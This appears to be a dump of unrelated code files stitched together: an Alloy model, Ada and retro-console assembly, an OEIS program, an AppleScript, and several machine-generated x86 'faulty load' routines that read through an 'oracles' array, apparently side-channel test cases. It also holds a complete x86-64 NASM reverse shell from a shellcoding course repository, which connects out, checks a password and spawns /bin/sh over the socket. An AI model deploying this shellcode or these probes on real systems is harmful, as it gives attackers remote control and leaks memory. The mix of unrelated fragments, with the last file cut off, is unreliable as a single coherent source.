alloy4fun_models/trashltl/models/7/KjgWduvC6ozqXjvci.als
Kaixi26/org.alloytools.alloy
0
3330
open main pred idKjgWduvC6ozqXjvci_prop8 { eventually link.File in Trash } pred __repair { idKjgWduvC6ozqXjvci_prop8 } check __repair { idKjgWduvC6ozqXjvci_prop8 <=> prop8o }
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_295.asm
ljhsiun2/medusa
9
4904
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x2042, %rsi lea addresses_D_ht+0x11142, %rdi clflush (%rdi) nop nop nop nop nop cmp %r11, %r11 mov $122, %rcx rep movsb nop nop nop cmp $18291, %rsi lea addresses_WC_ht+0x3042, %rsi lea addresses_UC_ht+0x2242, %rdi nop nop nop cmp $61629, %r10 mov $21, %rcx rep movsb nop nop nop add $65329, %rcx lea addresses_A_ht+0x18154, %rcx nop nop cmp %r10, %r10 movb (%rcx), %al nop nop nop nop nop sub %rsi, %rsi lea addresses_WT_ht+0x1c6c, %rsi lea addresses_normal_ht+0x1dd9e, %rdi clflush (%rdi) nop nop nop nop add %rdx, %rdx mov $115, %rcx rep movsl nop nop inc %rsi lea addresses_UC_ht+0x14522, %rsi lea addresses_WT_ht+0x6242, %rdi nop sub %r15, %r15 mov $74, %rcx rep movsb nop nop nop nop sub $43001, %rdx lea addresses_WC_ht+0x1c2, %rdi sub $9429, %rax vmovups (%rdi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %rsi nop nop nop nop inc %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rax push %rbp push %rcx push %rsi // Store lea addresses_RW+0x5b6a, %r12 nop nop nop nop and %rcx, %rcx movl $0x51525354, (%r12) nop nop cmp $53909, %rax // Faulty Load lea addresses_normal+0xb242, %rax nop xor $54211, %r9 mov (%rax), %r15w lea oracles, %r9 and $0xff, %r15 shlq $12, %r15 mov (%r9,%r15,1), %r15 pop %rsi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
02_tcp_reverseshell/tcp_reverse.nasm
undefinstr/SLAE64
0
27635
<filename>02_tcp_reverseshell/tcp_reverse.nasm BITS 64 global _start section .text _start: ; socket(int, int type, int protocol); mov al, 41 ; system call number mov dil, 2 ; domain = AF_INET (= 2) xor rsi,rsi mov sil, 1 ; type = SOCK_STREAM (= 1) xor rdx,rdx ; protocol = 0 syscall mov rdi, rax ; save return value to rdi mov r9, rdi ; connect(sock, (struct sockaddr *)&server, sockaddr_len) xor rax, rax push rax push dword 0x01ffff7f ; avoid nulls not word [rsp+1] push word 0x4405 push word 0x2 mov rsi, rsp mov dl, 16 mov al, 42 ; system call number syscall ; read(socket, pw_attempt, 8); xor al, al push rax ; reserve 8bytes space on the stack mov rsi, rsp ; password buffer space (the password entered) xor rdx, rdx mov dl, 8 ; pw len = 8 syscall ; compare password mov rcx, 0x<PASSWORD>0 ; password push rcx mov rdi, rsp cmpsq jne reject_client xor rsi, rsi ; dup2(client, 0); mov rdi, r9 mov al, 33 syscall ; dup2(client, 1); mov al, 33 inc esi syscall ; dup2(client, 2); mov al, 33 inc esi syscall ; execve("/bin//sh",0, 0) mov al, 59 push rbx ; '\0' mov rcx, 0x68732f2f6e69622f ; /bin//sh push rcx mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall reject_client:
Task/Image-noise/Ada/image-noise-2.ada
LaudateCorpus1/RosettaCodeData
1
7550
with Ada.Numerics.Discrete_Random; package body Noise is type Color is (Black, White); package Color_Random is new Ada.Numerics.Discrete_Random (Color); Color_Gen : Color_Random.Generator; function Create_Image (Width, Height : Natural) return Lumen.Image.Descriptor is Result : Lumen.Image.Descriptor; begin Color_Random.Reset (Color_Gen); Result.Width := Width; Result.Height := Height; Result.Complete := True; Result.Values := new Lumen.Image.Pixel_Matrix (1 .. Width, 1 .. Height); for X in 1 .. Width loop for Y in 1 .. Height loop if Color_Random.Random (Color_Gen) = Black then Result.Values (X, Y) := (R => 0, G => 0, B => 0, A => 0); else Result.Values (X, Y) := (R => 255, G => 255, B => 255, A => 0); end if; end loop; end loop; return Result; end Create_Image; end Noise;
ada/original_2008/ada-gui/agar-gui-widget-vbox.adb
auzkok/libagar
286
27517
package body agar.gui.widget.vbox is package cbinds is procedure set_homogenous (box : vbox_access_t; homogenous : c.int); pragma import (c, set_homogenous, "agar_gui_widget_vbox_set_homogenous"); procedure set_padding (box : vbox_access_t; padding : c.int); pragma import (c, set_padding, "agar_gui_widget_vbox_set_padding"); procedure set_spacing (box : vbox_access_t; spacing : c.int); pragma import (c, set_spacing, "agar_gui_widget_vbox_set_spacing"); end cbinds; procedure set_homogenous (box : vbox_access_t; homogenous : boolean := true) is begin if homogenous then cbinds.set_homogenous (box, 1); else cbinds.set_homogenous (box, 0); end if; end set_homogenous; procedure set_padding (box : vbox_access_t; padding : natural) is begin cbinds.set_padding (box => box, padding => c.int (padding)); end set_padding; procedure set_spacing (box : vbox_access_t; spacing : natural) is begin cbinds.set_spacing (box => box, spacing => c.int (spacing)); end set_spacing; function widget (box : vbox_access_t) return widget_access_t is begin return agar.gui.widget.box.widget (box.box'access); end widget; end agar.gui.widget.vbox;
sprites.asm
NotExactlySiev/psychofloat
1
4936
<reponame>NotExactlySiev/psychofloat UpdatePlayer: subroutine lda py0 sec sbc #5 sta $200 lda px0 sec sbc #4 sta $203 lda #1 bit flags beq .nrotate lda flags asl asl and #$40 sta $202 .nrotate rts ; handles scrolling the sprites on the screen. hero sprite handled seperately UpdateSprites: subroutine ; clear oam objects before drawing ldx #$10 jsr ClearDMA lda scroll lsr sta tmp0 ldx #0 ; object list ldy #0 ; oam .next lda objlist,x bne .draw rts .draw clc ; Set Y pos asl asl sec sbc tmp0 cmp #120 bcc .onscreen lda #$ff sta $210,y iny iny iny iny cpy #252 bne .next .onscreen asl sta func0 ; if is on screen, load the data for the object inx lda objlist,x sta func1 inx lda objlist,x clc asl asl asl sta func2 inx txa pha lda func1 and #$1c cmp #$10 bne .nBouncy ; Bouncy jsr DrawBouncy jmp .spritedone .nBouncy cmp #$14 bne .nBig ; Big jsr DrawBig jmp .spritedone .nBig cmp #$18 bne .nHook ; Hook jsr DrawHook jmp .spritedone .nHook ; Pickup .spritedone pla tax jmp .next BouncyFlip: .byte $00, $40 .byte $80, $c0 .byte $00, $80 .byte $40, $c0 DrawBouncy: subroutine lda func0 sta $210,y sta $214,y sta $218,y iny lda func1 and #$2 sta func4 clc adc #$40 sta $210,y sta $218,y adc #1 sta $214,y iny lda func1 asl and #$6 tax lda BouncyFlip,x sta $210,y sta $214,y inx lda BouncyFlip,x sta $218,y iny lda func2 sta $210,y sta $214,y sta $218,y lda func4 beq .ver dey dey dey .ver lda $210,y clc adc #$8 sta $214,y adc #$8 sta $218,y lda func4 beq .ver2 iny iny iny .ver2 iny rts DrawHook: subroutine lda func0 sta $210,y iny lda #$30 bit flags bpl .nhooked cpy hookidx bne .nhooked ; set the sprite accordingly if it's close and/or hooked lda #$33 .nhooked sta $210,y iny lda func1 ; set the pallete and #$3 sta $210,y iny lda func2 sta $210,y iny rts DrawBig: subroutine ; draws one of four meta sprite objects lda objlist,x and #$f clc adc #4 asl asl sta $210,y iny lda #1 sta $210,y rts
examples/asm/add.asm
kaspr61/RackVM
0
96065
<reponame>kaspr61/RackVM ; BSD 2-Clause License ; ; Copyright (c) 2022, <NAME> ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; 1. Redistributions of source code must retain the above copyright notice, this ; list of conditions and the following disclaimer. ; ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; File: add.asm ; Description: Asks the user to input two integers, then prints the sum of them. .MODE Stack ; Use the stack instruction set. .HEAP 1 ; KiB .HEAP_MAX 262144 ; KiB JMP main ; void add(int a, int b) locals: int add: ; Initialize locals (1). Note: don't STL when first ; initializing them, just leave them on the stack. LDI 0 ; Body LDA 4 ; Load 1st function argument. LDA 8 ; Load 2nd function argument. ADD STL 4 ; You could actually just RET.32 after ADD, but I want to LDL 4 ; demonstrate the usage of local variables. RET.32 8 main: ; Initialize locals (3 ints). Don't STL them. LDI 0 ; +4 promptMsg LDI 0 ; +8 leftNum LDI 0 ; +12 rightNum LDI 0 ; +16 result STR _S0 ; Create a new string from program data at _S0. STL 4 ; Store string ptr in promptMsg. LDL 4 SCALL __print ; Prompt the user for a number. SCALL __input ; Read and allocate new string from stdin. STOI 0 ; Convert the string to an int. STL 8 ; Store it in leftNum. LDL 4 SCALL __print SCALL __input STOI 0 STL 12 ; Store it in rightNum. LDL 12 ; Function arguments are pushed in reversed order. LDL 8 CALL add ; Add them through a function call to "int add(int,int)" STL 16 ; Store the function return value in result. ; When calling variadic system functions, like print or str, ; SARG must follow each argument as they are placed on the stack. ; The argument of SARG consists of 1 byte. The lower nibble indicates ; the size of the argument type in bytes, and the higher nibble ; indicates the argument type itself. ; 0x8* - string ; 0x4* - double ; 0x2* - float ; 0x1* - long ; 0x0* - int STR _S1 ; Create the format string. SARG 132 ; (0x84) String arguments must have the last bit (7) set. LDL 8 ; Push leftNumber. SARG 4 ; (0x04) LDL 12 ; Push rightNumber. SARG 4 ; (0x04) LDL 16 ; Push result. SARG 4 ; (0x04) SCALL __print EXIT .DATA _S0: .BYTE 17, "Enter a number: " _S1: .BYTE 20, "I say %d + %d = %d\n"
programs/oeis/135/A135997.asm
karttu/loda
0
89572
<filename>programs/oeis/135/A135997.asm ; A135997: Table of triples T(k,m) = k (m=1), 2-k (m=2) and 1-k (m=3). ; 0,2,1,1,1,0,2,0,-1,3,-1,-2,4,-2,-3,5,-3,-4,6,-4,-5,7,-5,-6,8,-6,-7,9,-7,-8,10,-8,-9,11,-9,-10,12,-10,-11,13,-11,-12,14,-12,-13,15,-13,-14,16,-14,-15,17,-15,-16,18,-16,-17,19,-17,-18,20,-18,-19,21,-19,-20,22,-20,-21,23,-21,-22,24,-22,-23,25,-23,-24,26,-24,-25,27,-25,-26,28,-26,-27,29,-27,-28,30,-28,-29,31,-29,-30,32,-30,-31,33,-31,-32,34,-32,-33,35,-33,-34,36,-34,-35,37,-35,-36,38,-36,-37,39,-37,-38,40,-38,-39,41,-39,-40,42,-40,-41,43,-41,-42,44,-42,-43,45,-43,-44,46,-44,-45,47,-45,-46,48,-46,-47,49,-47,-48,50,-48,-49,51,-49,-50,52,-50,-51,53,-51,-52,54,-52,-53,55,-53,-54,56,-54,-55,57,-55,-56,58,-56,-57,59,-57,-58,60,-58,-59,61,-59,-60,62,-60,-61,63,-61,-62,64,-62,-63,65,-63,-64,66,-64,-65,67,-65,-66,68,-66,-67,69,-67,-68,70,-68,-69,71,-69,-70,72,-70,-71,73,-71,-72,74,-72,-73,75,-73,-74,76,-74,-75,77,-75,-76,78,-76,-77,79,-77,-78,80,-78,-79,81,-79,-80,82,-80,-81,83 add $0,2 mov $1,$0 lpb $0,1 mov $2,$0 sub $0,3 mod $2,3 mul $2,2 add $0,$2 mov $1,8 mov $3,$0 sub $0,1 sub $1,$3 lpe sub $1,2 div $1,3
iambored.scpt
doekman/ascr-and-git
0
1602
-- iambored -- Quick port of: https://gist.github.com/doekman/834a0d6a9c6e9598a42ca647462cf6da set AppleScript's text item delimiters to return set get_links_command to "curl -s http://wiki.secretgeek.net/best-of-wikipedia | grep 'a href=\"http' | sed -E $'s/^.*<a href=\"([^\"]+)\"[^>]*>([^<]+)<\\/a>.*$/\\\\1 \\\\2/'" set link_list to every text item of (do shell script get_links_command) set AppleScript's text item delimiters to tab repeat set link_index to random number from 1 to (length of link_list) set {the_url, link_text} to every text item of (item link_index of link_list) try display dialog "For your entertainment, I hereby suggest to read an article with the title: " & link_text default answer the_url buttons {"Stop this nonsense", "Suggest another one please", "Open URL"} default button 3 cancel button 1 with title "I am bored" with icon note on error number -128 display notification "Sorry I haven't been more entertaining..." with title "My sincerest apologies..." exit repeat end try if button returned of result is "Open URL" then do shell script "open " & quoted form of the_url exit repeat end if end repeat
src/data/interrupts.asm
Hacktix/gb-tictactoe
8
3619
<filename>src/data/interrupts.asm SECTION "VBlank Handler", ROM0 VBlankHandler:: ; Do OAM DMA if requested ldh a, [hStartAddrOAM] and a jr z, .noOAMDMA call hOAMDMA xor a ldh [hStartAddrOAM], a .noOAMDMA ; Print string if requested ldh a, [hStringDrawFlag] and a jr z, .noStringDraw ld a, [hStringLocationAddr] ld h, a ld a, [hStringLocationAddr+1] ld l, a ld a, [hStringPointerAddr] ld d, a ld a, [hStringPointerAddr+1] ld e, a rst CopyString xor a ldh [hStringDrawFlag], a .noStringDraw ; Fetch inputs ld c, LOW(rP1) ld a, $20 ldh [c], a rept 6 ldh a, [c] endr or $F0 ld b, a swap b ld a, $10 ldh [c], a rept 6 ldh a, [c] endr and $0F or $F0 xor b ld b, a ld a, $30 ldh [c], a ldh a, [hHeldButtons] cpl and b ldh [hPressedButtons], a ld a, b ldh [hHeldButtons], a reti
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2268.asm
ljhsiun2/medusa
9
17781
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x136e9, %r8 nop nop nop nop and $6923, %rdi mov (%r8), %r15w nop nop nop nop nop add $51293, %r9 lea addresses_WC_ht+0x1c4d0, %rsi lea addresses_D_ht+0x3b40, %rdi clflush (%rsi) dec %rax mov $19, %rcx rep movsq nop nop inc %rcx lea addresses_normal_ht+0x14b38, %r9 nop nop cmp %rsi, %rsi mov $0x6162636465666768, %rcx movq %rcx, %xmm4 vmovups %ymm4, (%r9) and $57050, %rcx lea addresses_D_ht+0x1ad38, %r15 nop lfence mov $0x6162636465666768, %rax movq %rax, (%r15) nop inc %r9 lea addresses_D_ht+0x1d0f8, %r9 dec %rax vmovups (%r9), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %r15 nop nop nop nop sub $55447, %rax lea addresses_A_ht+0x1869e, %rsi lea addresses_WC_ht+0xa338, %rdi nop nop add $56926, %r8 mov $121, %rcx rep movsb nop xor $17806, %r8 lea addresses_A_ht+0x17300, %r8 nop nop nop nop dec %rax movb (%r8), %cl nop nop nop nop and %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %r8 push %r9 // Store lea addresses_RW+0x1a238, %r11 clflush (%r11) sub $64529, %r8 mov $0x5152535455565758, %r9 movq %r9, %xmm5 vmovups %ymm5, (%r11) nop nop nop nop add $7108, %r10 // Faulty Load lea addresses_WC+0xf738, %r14 nop nop and $52212, %r13 mov (%r14), %r11d lea oracles, %r8 and $0xff, %r11 shlq $12, %r11 mov (%r8,%r11,1), %r11 pop %r9 pop %r8 pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
Transynther/x86/_processed/NONE/_un_/i9-9900K_12_0xa0.log_1_1042.asm
ljhsiun2/medusa
9
104769
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x59f, %rsi lea addresses_A_ht+0x1d4fa, %rdi nop nop nop nop and $9967, %rbp mov $11, %rcx rep movsb nop nop nop nop nop dec %rsi lea addresses_UC_ht+0x88fa, %r8 nop nop nop nop add %r13, %r13 mov (%r8), %r11d nop nop nop cmp %r8, %r8 lea addresses_normal_ht+0xf7ba, %rsi lea addresses_WC_ht+0x4afa, %rdi nop nop add %r13, %r13 mov $110, %rcx rep movsq nop nop inc %r13 lea addresses_normal_ht+0xc3fa, %rsi lea addresses_WT_ht+0x129fa, %rdi clflush (%rdi) nop nop nop nop nop sub $4083, %rax mov $14, %rcx rep movsl add $16021, %rbp lea addresses_normal_ht+0x84fa, %rcx and %r13, %r13 mov $0x6162636465666768, %rsi movq %rsi, (%rcx) add %rsi, %rsi lea addresses_D_ht+0xe19a, %rsi lea addresses_A_ht+0x21fa, %rdi nop dec %rax mov $34, %rcx rep movsl nop nop nop and $30766, %r8 lea addresses_WC_ht+0x6c7a, %rsi lea addresses_D_ht+0x1a9fa, %rdi add $7845, %r13 mov $81, %rcx rep movsw nop add $44428, %rsi lea addresses_UC_ht+0xeac2, %rax nop nop nop nop nop cmp $15259, %r8 mov $0x6162636465666768, %rsi movq %rsi, (%rax) nop nop nop nop nop inc %rbp lea addresses_normal_ht+0xb53e, %rdi xor $19153, %rax mov (%rdi), %r8d dec %r11 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rax push %rbp push %rbx push %rdi // Store lea addresses_D+0x169da, %r13 nop cmp $13428, %rax mov $0x5152535455565758, %rbp movq %rbp, %xmm1 vmovups %ymm1, (%r13) nop nop nop nop add %r11, %r11 // Store lea addresses_A+0x19e7a, %rdi nop nop nop nop sub %r9, %r9 movl $0x51525354, (%rdi) nop nop nop nop nop cmp $58859, %r9 // Store lea addresses_US+0x151fa, %r11 nop nop nop inc %rdi movl $0x51525354, (%r11) nop nop nop nop nop cmp $53869, %r13 // Load lea addresses_RW+0x1f86, %r9 nop nop cmp $9819, %rdi movups (%r9), %xmm6 vpextrq $0, %xmm6, %r13 nop nop nop inc %rbp // Faulty Load lea addresses_RW+0x101fa, %rbp clflush (%rbp) nop 